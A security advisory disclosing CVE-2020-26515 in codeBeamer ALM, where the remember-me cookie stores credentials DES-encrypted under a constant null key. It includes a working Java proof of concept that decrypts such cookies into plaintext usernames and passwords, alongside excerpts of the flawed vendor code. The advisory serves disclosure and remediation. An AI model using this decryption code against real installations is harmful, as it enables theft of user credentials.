############################################################# # # COMPASS SECURITY ADVISORY # https://www.compass-security.com/research/advisories/ # ############################################################# # # Product: codeBeamer Application Lifecycle Management (ALM) [1] # Vendor: Intland Software # CSNC ID: CSNC-2020-010 # CVE ID: CVE-2020-26515 # Subject: Insecure Remember-Me Feature # Risk: High # Effect: Remotely exploitable # Author: Alex Joss and Emanuele Barbeno (advisories@compass-security.com) # Date: 02.06.2021 # ############################################################# Introduction: ------------- codeBeamer Application Lifecycle Management (ALM) provides Project-, Task-, Requirement-, Test- Change-, Configuration-, Build-, Knowledge- and Document management in a single, secure environment. It enables software and hardware development to be more collaborative, transparent and productive. [2] The remember-me cookie (CB_LOGIN) issued by the application contains the encrypted user's credentials. However, due to a bug in the application code, those credentials are encrypted using a NULL encryption key. Affected: --------- Vulnerable: 10.0.0-final 21.04-final No other version was tested, but it is believed for the older versions to be vulnerable as well. Technical Description --------------------- When the application issues a remember-me cookie (CB_LOGIN), it encrypts the username and the password and puts the result in the cookie. However, the encryption process is flawed: * The encryption key should be derived from the server's MAC address but, because of a bug in the code, the key is always NULL * An empty salt is specified. Due to these flaws, the result of the encryption is static and predictable (across all installation instances of the software). The following Proof of Concept JAVA code can be used to decrypt a CB_LOGIN cookie value to retrieve plaintext user's credentials. The token variable contains the CB_LOGIN token: ``` public class decryptCookies { public static void main(String[] args) throws Exception { String token = "D4-2C-{CUT-BY-COMPASS}-DA-2D"; byte[] keyPadded = new byte[8]; Arrays.fill(keyPadded, (byte)0); Key encKey = SecretKeyFactory.getInstance("DES").generateSecret( new DESKeySpec(keyPadded)); Cipher desCipher = Cipher.getInstance("DES/ECB/PKCS5Padding"); desCipher.init(2, encKey); System.out.println(" --> " + new String(desCipher .doFinal(stringToByteArray(token)), "UTF-8")); } private static byte[] stringToByteArray(String str) { if (str == null) str = ""; ByteArrayOutputStream bos = new ByteArrayOutputStream(); for (StringTokenizer st = new StringTokenizer(str, "-", false); st.hasMoreTokens();) { try { int i = Integer.parseInt(st.nextToken(), 16); bos.write((byte)i); } catch (NumberFormatException numberFormatException) { System.out.println("Error: could not parse token (" + numberFormatException.getMessage() + ")"); } } return bos.toByteArray(); } } ``` This vulnerability resides in the application code used to generate and issue the CB_LOGIN cookie. This cookie is generated in the class com.intland.codebeamer.utils.CookieUtils. The value of the cookie is provided by the method SavedUserCredentials.getToken(), which is called with the username, the user's password and an empty salt as parameter: ``` public static void storeUserCredentialsCookie(HttpServletRequest request, HttpServletResponse response, String userName, String password) { String userName2 = StringUtils.trimToNull(userName); Cookie cookie = new Cookie(CB_LOGIN, SavedUserCredentials.getToken(userName2, password, (String) null)); ``` The method com.intland.codebeamer.security.SavedUserCredentials.getToken() concatenates and encrypts the username and password. The encryption key is generated by the method getCryptingKey() where the NULL salt is passed: ``` public static String getToken(String userName2, String password2, String salt) { return encrypt( StringUtils.defaultString(StringUtils.trimToNull(userName2)) + USER_PASSWORD_SEPARATOR + StringUtils.defaultString(password2), StringUtils.trimToEmpty(salt)); } [CUT-BY-COMPASS] public static String encrypt(String value, String salt) { return crypter.encrypt(value, getCryptingKey(salt)); } ``` The method getCryptingKey() returns an encryption key based on the system's MAC address. As the configured salt is always NULL, it will directly return the result of getCryptingKeyFromMacAddress(): ``` private static String getCryptingKey(String salt) { if (StringUtils.isEmpty(salt)) { return getCryptingKeyFromMacAddress(); } String salt2 = StringUtils.trimToEmpty(salt); StringBuilder key = new StringBuilder(getCryptingKeyFromMacAddress()); String hex = Long.toHexString((long) salt2.hashCode()); for (int i = hex.length() - 1; i > 0; i--) { char c = hex.charAt(i); if (c != '-') { key.append("-").append(c); } } return key.toString(); } ``` The method getCryptingKeyFromMacAddress() returns the system's MAC address in the format XX:XX:XX:XX:XX:XX. The string to be encrypted and the MAC address are then fed to the encrypt() method of the class com.intland.codebeamer.manager.support.Crypter where the system's MAC address is converted into an encryption key by calling the method keyStringToKey(): ``` public String encrypt(String source, String keyString) { try { Key key = keyStringToKey(keyString); Cipher desCipher = Cipher.getInstance("DES/ECB/PKCS5Padding"); desCipher.init(1, key); if (source == null) { source = ""; } return byteArrayToString(desCipher.doFinal(source.getBytes("UTF-8"))); } catch (Throwable ex) { logger.error(ex.toString(), ex); return null; } } ``` The method keyStringToKey() feeds the keyString into the stringToByteArray() method: ``` private static Key keyStringToKey(String keyString) throws InvalidKeyException, NoSuchAlgorithmException, InvalidKeySpecException { if (StringUtils.isBlank(keyString)) { throw new IllegalArgumentException("Key cannot be blank: " + keyString); } byte[] bytes = stringToByteArray(keyString); if (!(bytes == null || bytes.length == 8)) { byte[] padded = new byte[8]; for (int i = 0; i < 8; i++) { if (i < bytes.length) { padded[i] = bytes[i]; } else { padded[i] = 0; } } bytes = padded; } return SecretKeyFactory.getInstance("DES").generateSecret(new DESKeySpec(bytes)); } ``` The method stringToByteArray() splits the provided keyString (MAC address) into hexadecimal tokens, and converts each token to an integer. However, the tokens are split with the delimiter -. As the MAC address has the format XX:XX:XX:XX:XX:XX and is delimited with :, the conversion will fail and a NumberFormatException is thrown. However, nothing happens when such an exception occurs and an empty array is returned.: ``` private static byte[] stringToByteArray(String str) { if (str == null) { str = ""; } ByteArrayOutputStream bos = new ByteArrayOutputStream(); StringTokenizer st = new StringTokenizer(str, "-", false); while (st.hasMoreTokens()) { try { bos.write((byte) Integer.parseInt(st.nextToken(), 16)); } catch (NumberFormatException e) { } } return bos.toByteArray(); } ``` As a result, an empty byte array is used as base for the encryption key. This means that the encryption key is always the same (for all installations of the software) and everyone with access to the above source code is able to decrypt all remember-me cookies of the codeBeamer application. Workaround / Fix: ----------------- The "Remember Me" feature should be re-designed to use a randomly-generated session ID instead of encrypted user information and the ID should be bound to the user agent and/or IP address of the user. Furthermore, the ID should only be valid for a limited amount of time and be re-generated after being used once. Timeline: --------- 2020-05-14: Discovery by Alex Joss and Emanuele Barbeno 2020-05-18: Initial vendor notification 2020-05-18: Initial vendor response 2020-10-02: Assigned CVE-2020-26515 2021-06-02: Public disclosure References: ----------- [1] https://intland.com/codebeamer/application-lifecycle-management/ [2] https://codebeamer.com/cb/wiki/199594 [3] https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A3-Sensitive_Data_Exposure